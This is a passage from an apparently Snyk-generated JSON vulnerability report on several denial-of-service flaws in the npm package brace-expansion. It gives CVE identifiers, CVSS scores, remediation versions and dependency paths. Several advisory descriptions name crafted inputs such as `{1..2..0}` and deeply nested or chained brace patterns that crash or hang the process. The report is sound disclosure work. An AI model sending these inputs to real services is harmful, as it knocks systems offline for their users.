"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
